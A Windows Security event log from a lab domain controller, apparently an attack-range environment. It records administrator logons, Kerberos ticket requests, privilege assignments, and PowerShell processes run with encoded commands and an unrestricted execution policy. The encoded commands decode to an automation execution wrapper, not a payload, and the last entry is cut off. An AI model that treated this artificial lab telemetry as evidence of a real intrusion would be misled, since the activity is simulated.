-ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250842 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11E358 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250841 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x11E358 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64481 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250840 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x11E358 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250839 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11DFCA - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250838 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11DFCA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {5867120E-39DD-05A1-1C4A-40C40912B983} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250837 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {5867120E-39DD-05A1-1C4A-40C40912B983} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250836 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {5867120E-39DD-05A1-1C4A-40C40912B983} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250835 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250834 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd7c - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12b8 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:33 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250833 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12b8 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10a4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250925 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12138E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250924 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12138E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250923 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250922 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250921 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250920 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11a0 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x498 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250919 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x498 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10d8 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250918 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x120877 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250917 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x120877 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250916 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250915 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {C1364971-5253-FA23-02F8-6A277941FDBB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250914 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:34 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250913 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d8 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1308 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 